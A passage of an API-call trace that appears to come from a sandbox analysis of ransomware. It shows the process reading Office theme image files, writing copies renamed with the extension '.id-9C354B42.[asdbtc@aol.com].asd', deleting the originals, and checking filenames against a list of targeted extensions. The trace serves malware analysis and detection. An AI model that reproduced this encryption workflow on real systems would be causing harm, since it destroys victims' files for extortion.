dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0053.717] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=33009) returned 1 [0053.717] CloseHandle (hObject=0x1dc) returned 1 [0053.717] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png")) returned 0x20 [0053.717] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0053.717] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0053.728] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.728] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.729] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0053.729] GetLastError () returned 0x0 [0053.729] ReadFile (in: hFile=0x1dc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x80f1, lpOverlapped=0x0) returned 1 [0053.732] WriteFile (in: hFile=0x15c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x8100, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0x8100, lpOverlapped=0x0) returned 1 [0053.733] ReadFile (in: hFile=0x1dc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.733] WriteFile (in: hFile=0x15c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.733] SetEndOfFile (hFile=0x15c) returned 1 [0053.733] CloseHandle (hObject=0x15c) returned 1 [0053.734] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.734] SetEndOfFile (hFile=0x1dc) returned 1 [0053.735] CloseHandle (hObject=0x1dc) returned 1 [0053.735] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0053.735] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png")) returned 1 [0053.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0053.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0053.736] lstrlenW (lpString=".doc") returned 4 [0053.736] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0053.736] lstrlenW (lpString=".docx") returned 5 [0053.736] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0053.736] lstrlenW (lpString=".pdf") returned 4 [0053.736] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0053.736] lstrlenW (lpString=".xls") returned 4 [0053.736] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0053.736] lstrlenW (lpString=".xlsx") returned 5 [0053.736] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0053.736] lstrlenW (lpString=".ppt") returned 4 [0053.736] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0053.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0053.736] lstrlenW (lpString=".zip") returned 4 [0053.736] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0053.736] lstrlenW (lpString=".rar") returned 4 [0053.736] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0053.736] lstrlenW (lpString=".bz2") returned 4 [0053.736] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0053.736] lstrlenW (lpString=".7z") returned 3 [0053.736] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0053.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0053.736] lstrlenW (lpString=".dbf") returned 4 [0053.736] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0053.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0053.736] lstrlenW (lpString=".1cd") returned 4 [0053.736] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0053.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0053.736] lstrlenW (lpString=".jpg") returned 4 [0053.736] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0053.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0053.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0053.737] lstrlenW (lpString=".doc") returned 4 [0053.737] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0053.737] lstrlenW (lpString=".docx") returned 5 [0053.737] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0053.737] lstrlenW (lpString=".pdf") returned 4 [0053.737] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0053.737] lstrlenW (lpString=".xls") returned 4 [0053.737] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0053.737] lstrlenW (lpString=".xlsx") returned 5 [0053.737] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0053.737] lstrlenW (lpString=".ppt") returned 4 [0053.737] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0053.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0053.737] lstrlenW (lpString=".zip") returned 4 [0053.737] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0053.737] lstrlenW (lpString=".rar") returned 4 [0053.737] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0053.737] lstrlenW (lpString=".bz2") returned 4 [0053.737] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0053.737] lstrlenW (lpString=".7z") returned 3 [0053.737] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0053.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0053.737] lstrlenW (lpString=".dbf") returned 4 [0053.737] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0053.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0053.737] lstrlenW (lpString=".1cd") returned 4 [0053.737] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0053.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0053.737] lstrlenW (lpString=".jpg") returned 4 [0053.737] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0053.738] lstrcmpiW (lpString1=".GIF", lpString2=".asd") returned 1 [0053.738] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0053.738] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0053.739] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=2044) returned 1 [0053.739] CloseHandle (hObject=0x1dc) returned 1 [0053.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif")) returned 0x20 [0053.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0053.741] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0053.741] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.741] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.741] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0053.743] GetLastError () returned 0x0 [0053.743] ReadFile (in: hFile=0x1dc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x7fc, lpOverlapped=0x0) returned 1 [0053.745] WriteFile (in: hFile=0x15c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0x800, lpOverlapped=0x0) returned 1 [0053.746] ReadFile (in: hFile=0x1dc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.746] WriteFile (in: hFile=0x15c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0xea, lpOverlapped=0x0) returned 1 [0053.746] SetEndOfFile (hFile=0x15c) returned 1 [0053.746] CloseHandle (hObject=0x15c) returned 1 [0053.746] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.746] SetEndOfFile (hFile=0x1dc) returned 1 [0053.747] CloseHandle (hObject=0x1dc) returned 1 [0053.747] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0053.747] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif")) returned 1 [0053.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0053.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0053.748] lstrlenW (lpString=".doc") returned 4 [0053.748] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0053.748] lstrlenW (lpString=".docx") returned 5 [0053.748] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0053.748] lstrlenW (lpString=".pdf") returned 4 [0053.748] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0053.748] lstrlenW (lpString=".xls") returned 4 [0053.748] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0053.748] lstrlenW (lpString=".xlsx") returned 5 [0053.748] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0053.748] lstrlenW (lpString=".ppt") returned 4 [0053.748] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0053.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0053.748] lstrlenW (lpString=".zip") returned 4 [0053.748] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0053.748] lstrlenW (lpString=".rar") returned 4 [0053.748] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0053.748] lstrlenW (lpString=".bz2") returned 4 [0053.748] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0053.748] lstrlenW (lpString=".7z") returned 3 [0053.748] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0053.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0053.748] lstrlenW (lpString=".dbf") returned 4 [0053.748] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0053.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0053.748] lstrlenW (lpString=".1cd") returned 4 [0053.748] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0053.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0053.748] lstrlenW (lpString=".jpg") returned 4 [0053.749] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0053.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0053.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0053.749] lstrlenW (lpString=".doc") returned 4 [0053.749] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0053.749] lstrlenW (lpString=".docx") returned 5 [0053.749] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0053.749] lstrlenW (lpString=".pdf") returned 4 [0053.749] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0053.749] lstrlenW (lpString=".xls") returned 4 [0053.749] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0053.749] lstrlenW (lpString=".xlsx") returned 5 [0053.749] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0053.749] lstrlenW (lpString=".ppt") returned 4 [0053.749] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0053.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0053.749] lstrlenW (lpString=".zip") returned 4 [0053.749] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0053.749] lstrlenW (lpString=".rar") returned 4 [0053.749] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0053.749] lstrlenW (lpString=".bz2") returned 4 [0053.749] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0053.749] lstrlenW (lpString=".7z") returned 3 [0053.749] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0053.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0053.749] lstrlenW (lpString=".dbf") returned 4 [0053.749] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0053.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0053.749] lstrlenW (lpString=".1cd") returned 4 [0053.750] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0053.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0053.750] lstrlenW (lpString=".jpg") returned 4 [0053.750] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0053.750] lstrcmpiW (lpString1=".PNG", lpString2=".asd") returned 1 [0053.750] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0053.750] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0053.750] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=29925) returned 1 [0053.750] CloseHandle (hObject=0x1dc) returned 1 [0053.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png")) returned 0x20 [0053.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0053.751] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0053.751] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.751] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.751] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0053.751] GetLastError () returned 0x0 [0053.751] ReadFile (in: hFile=0x1dc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x74e5, lpOverlapped=0x0) returned 1 [0053.753] WriteFile (in: hFile=0x15c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x74f0, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0x74f0, lpOverlapped=0x0) returned 1 [0053.755] ReadFile (in: hFile=0x1dc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.756] WriteFile (in: hFile=0x15c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.756] SetEndOfFile (hFile=0x15c) returned 1 [0053.756] CloseHandle (hObject=0x15c) returned 1 [0053.756] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.756] SetEndOfFile (hFile=0x1dc) returned 1 [0053.757] CloseHandle (hObject=0x1dc) returned 1 [0053.758] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0053.758] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png")) returned 1 [0053.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0053.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0053.758] lstrlenW (lpString=".doc") returned 4 [0053.758] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0053.758] lstrlenW (lpString=".docx") returned 5 [0053.758] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0053.758] lstrlenW (lpString=".pdf") returned 4 [0053.758] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0053.758] lstrlenW (lpString=".xls") returned 4 [0053.758] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0053.758] lstrlenW (lpString=".xlsx") returned 5 [0053.758] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0053.758] lstrlenW (lpString=".ppt") returned 4 [0053.758] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0053.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0053.759] lstrlenW (lpString=".zip") returned 4 [0053.759] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0053.759] lstrlenW (lpString=".rar") returned 4 [0053.759] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0053.759] lstrlenW (lpString=".bz2") returned 4 [0053.759] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0053.759] lstrlenW (lpString=".7z") returned 3 [0053.759] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0053.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0053.759] lstrlenW (lpString=".dbf") returned 4 [0053.759] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0053.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0053.759] lstrlenW (lpString=".1cd") returned 4 [0053.759] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0053.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0053.759] lstrlenW (lpString=".jpg") returned 4 [0053.759] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0053.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0053.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0053.759] lstrlenW (lpString=".doc") returned 4 [0053.759] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0053.759] lstrlenW (lpString=".docx") returned 5 [0053.759] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0053.759] lstrlenW (lpString=".pdf") returned 4 [0053.759] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0053.759] lstrlenW (lpString=".xls") returned 4 [0053.759] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0053.759] lstrlenW (lpString=".xlsx") returned 5 [0053.760] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0053.760] lstrlenW (lpString=".ppt") returned 4 [0053.760] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0053.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0053.760] lstrlenW (lpString=".zip") returned 4 [0053.760] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0053.760] lstrlenW (lpString=".rar") returned 4 [0053.760] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0053.760] lstrlenW (lpString=".bz2") returned 4 [0053.760] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0053.760] lstrlenW (lpString=".7z") returned 3 [0053.760] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0053.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0053.760] lstrlenW (lpString=".dbf") returned 4 [0053.760] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0053.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0053.760] lstrlenW (lpString=".1cd") returned 4 [0053.760] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0053.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0053.760] lstrlenW (lpString=".jpg") returned 4 [0053.760] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0053.760] lstrcmpiW (lpString1=".GIF", lpString2=".asd") returned 1 [0053.760] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0053.760] CreateFileW (lpFileName="C:\\Program 